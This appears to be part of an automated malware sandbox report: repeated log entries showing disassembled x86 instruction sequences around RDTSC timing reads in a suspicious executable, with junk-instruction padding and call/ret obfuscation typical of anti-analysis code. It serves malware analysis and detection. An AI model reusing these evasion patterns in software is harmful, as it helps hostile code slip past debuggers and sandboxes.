Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A29B4 second address: 3A29C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F33C4756A2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A2B11 second address: 3A2B25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A2B25 second address: 3A2B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F33C4756A30h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A54A7 second address: 3A54AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A54AD second address: 3A54B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3AA770 second address: 3AA79E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F33C5AF17CDh 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3AA79E second address: 3AA7AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A9669 second address: 3A9685 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F33C5AF17D1h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A9DB0 second address: 3A9DB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3AAE60 second address: 3AAE66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3AAE66 second address: 3AAE6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 36DD9D second address: 36DDAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33C5AF17CAh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B0BD5 second address: 3B0BDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B0BDD second address: 3B0BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B0BE1 second address: 3B0BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B0BE5 second address: 3B0BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 368CA2 second address: 368CC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A38h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B0212 second address: 3B021B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B0365 second address: 3B036C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B0775 second address: 3B077B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B08DE second address: 3B08E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B08E2 second address: 3B0900 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D8h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B0900 second address: 3B090A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F33C4756A26h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B090A second address: 3B090E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B4459 second address: 3B445E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B445E second address: 3B4470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33C5AF17CEh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B4DF5 second address: 3B4DF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B4DF9 second address: 3B4DFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B5045 second address: 3B5049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B61F3 second address: 3B61F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B61F7 second address: 3B6204 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F33C4756A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B7364 second address: 3B7369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B7369 second address: 3B736F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B736F second address: 3B7373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B9FF1 second address: 3B9FF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B9FF5 second address: 3BA026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop esi 0x0000000a popad 0x0000000b nop 0x0000000c or esi, dword ptr [ebp+122D35ADh] 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 sub dword ptr [ebp+124537D4h], eax 0x0000001b pop esi 0x0000001c push 00000000h 0x0000001e jp 00007F33C5AF17C6h 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 ja 00007F33C5AF17C6h 0x0000002e push edx 0x0000002f pop edx 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3BA026 second address: 3BA030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F33C4756A26h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3BAA29 second address: 3BAAA7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnl 00007F33C5AF17C6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F33C5AF17C8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 pushad 0x00000028 sub edx, 6E42A0C4h 0x0000002e xor di, 6B47h 0x00000033 popad 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 movsx edi, ax 0x0000003b xchg eax, ebx 0x0000003c pushad 0x0000003d push edi 0x0000003e jo 00007F33C5AF17C6h 0x00000044 pop edi 0x00000045 pushad 0x00000046 jmp 00007F33C5AF17CAh 0x0000004b pushad 0x0000004c popad 0x0000004d popad 0x0000004e popad 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 pushad 0x00000054 popad 0x00000055 jmp 00007F33C5AF17D9h 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3BAAA7 second address: 3BAAAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3BC751 second address: 3BC761 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3BC761 second address: 3BC76F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3BC7F7 second address: 3BC7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3BE7F9 second address: 3BE864 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F33C4756A28h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 jmp 00007F33C4756A2Ah 0x00000017 popad 0x00000018 nop 0x00000019 movsx edi, dx 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F33C4756A28h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 0000001Ch 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 push 00000000h 0x0000003a mov ebx, dword ptr [ebp+1245665Dh] 0x00000040 xchg eax, esi 0x00000041 jl 00007F33C4756A34h 0x00000047 pushad 0x00000048 pushad 0x00000049 popad 0x0000004a jmp 00007F33C4756A2Ah 0x0000004f popad 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 push ebx 0x00000054 push edi 0x00000055 pop edi 0x00000056 pop ebx 0x00000057 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3BE864 second address: 3BE86E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F33C5AF17C6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3BE86E second address: 3BE872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C0743 second address: 3C0749 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C0749 second address: 3C074F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C2581 second address: 3C2587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C3AFE second address: 3C3B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C3B03 second address: 3C3B57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F33C5AF17CDh 0x00000010 jmp 00007F33C5AF17D8h 0x00000015 pop edx 0x00000016 pushad 0x00000017 jmp 00007F33C5AF17D4h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C3B57 second address: 3C3B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C4141 second address: 3C4195 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F33C5AF17C8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F33C5AF17C8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D1C6Fh], ebx 0x0000002f push 00000000h 0x00000031 call 00007F33C5AF17CBh 0x00000036 or bx, 3014h 0x0000003b pop ebx 0x0000003c push 00000000h 0x0000003e xor dword ptr [ebp+122D3366h], edi 0x00000044 xchg eax, esi 0x00000045 push edi 0x00000046 push eax 0x00000047 push edx 0x00000048 push edx 0x00000049 pop edx 0x0000004a rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C50DE second address: 3C50E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B7B8F second address: 3B7B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C50E4 second address: 3C50EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C50EA second address: 3C50EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C50EE second address: 3C5154 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jns 00007F33C4756A3Fh 0x0000000f nop 0x00000010 mov ebx, 47A4A066h 0x00000015 movzx ebx, bx 0x00000018 push 00000000h 0x0000001a jl 00007F33C4756A2Ch 0x00000020 mov dword ptr [ebp+12474BB3h], edx 0x00000026 push 00000000h 0x00000028 pushad 0x00000029 sub edx, 2EC8BF4Ah 0x0000002f pushad 0x00000030 mov dword ptr [ebp+124520B5h], edi 0x00000036 jmp 00007F33C4756A2Ah 0x0000003b popad 0x0000003c popad 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jnl 00007F33C4756A26h 0x00000048 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C5154 second address: 3C5158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C5158 second address: 3C515E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C515E second address: 3C5164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C5164 second address: 3C5168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C61C5 second address: 3C624D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F33C5AF17CCh 0x00000008 jnp 00007F33C5AF17C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ecx 0x00000012 jnp 00007F33C5AF17CCh 0x00000018 pop ecx 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007F33C5AF17C8h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 mov bl, B3h 0x00000036 push 00000000h 0x00000038 xor di, F92Ch 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push esi 0x00000042 call 00007F33C5AF17C8h 0x00000047 pop esi 0x00000048 mov dword ptr [esp+04h], esi 0x0000004c add dword ptr [esp+04h], 00000017h 0x00000054 inc esi 0x00000055 push esi 0x00000056 ret 0x00000057 pop esi 0x00000058 ret 0x00000059 jmp 00007F33C5AF17D6h 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push edi 0x00000062 push esi 0x00000063 pop esi 0x00000064 pop edi 0x00000065 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3CAF69 second address: 3CAF6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B87CF second address: 3B87D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3CDE4C second address: 3CDE56 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F33C4756A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B87D3 second address: 3B87D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3CDE56 second address: 3CDE61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F33C4756A26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3B9306 second address: 3B9317 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3D0C6F second address: 3D0C98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A2Ah 0x00000007 push ebx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F33C4756A35h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3D2296 second address: 3D22A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F33C5AF17C6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3BA7BA second address: 3BA7CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pushad 0x00000007 jno 00007F33C4756A28h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3BC9FF second address: 3BCA0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3BCA0A second address: 3BCA0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3D9C47 second address: 3D9C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3D9C4B second address: 3D9C51 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3D9C51 second address: 3D9C56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3BFA2C second address: 3BFA31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3BDAE7 second address: 3BDAEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C73A0 second address: 3C73A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3CA284 second address: 3CA288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3CB19F second address: 3CB249 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F33C4756A28h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jp 00007F33C4756A36h 0x00000011 nop 0x00000012 push eax 0x00000013 sub dword ptr [ebp+122D258Dh], eax 0x00000019 pop ebx 0x0000001a mov edi, eax 0x0000001c push dword ptr fs:[00000000h] 0x00000023 mov edi, dword ptr [ebp+124566E4h] 0x00000029 cmc 0x0000002a mov dword ptr fs:[00000000h], esp 0x00000031 mov dword ptr [ebp+12456696h], ebx 0x00000037 mov eax, dword ptr [ebp+122D03DDh] 0x0000003d call 00007F33C4756A2Ah 0x00000042 mov dword ptr [ebp+122D3058h], eax 0x00000048 pop edi 0x00000049 mov dword ptr [ebp+122D351Eh], esi 0x0000004f push FFFFFFFFh 0x00000051 push 00000000h 0x00000053 push ebx 0x00000054 call 00007F33C4756A28h 0x00000059 pop ebx 0x0000005a mov dword ptr [esp+04h], ebx 0x0000005e add dword ptr [esp+04h], 0000001Dh 0x00000066 inc ebx 0x00000067 push ebx 0x00000068 ret 0x00000069 pop ebx 0x0000006a ret 0x0000006b mov dword ptr [ebp+122D305Eh], ebx 0x00000071 nop 0x00000072 jmp 00007F33C4756A30h 0x00000077 push eax 0x00000078 push edi 0x00000079 push eax 0x0000007a push edx 0x0000007b push ecx 0x0000007c pop ecx 0x0000007d rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3CCF95 second address: 3CCF9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C73A4 second address: 3C73AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3CA288 second address: 3CA299 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3C73AA second address: 3C73AF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
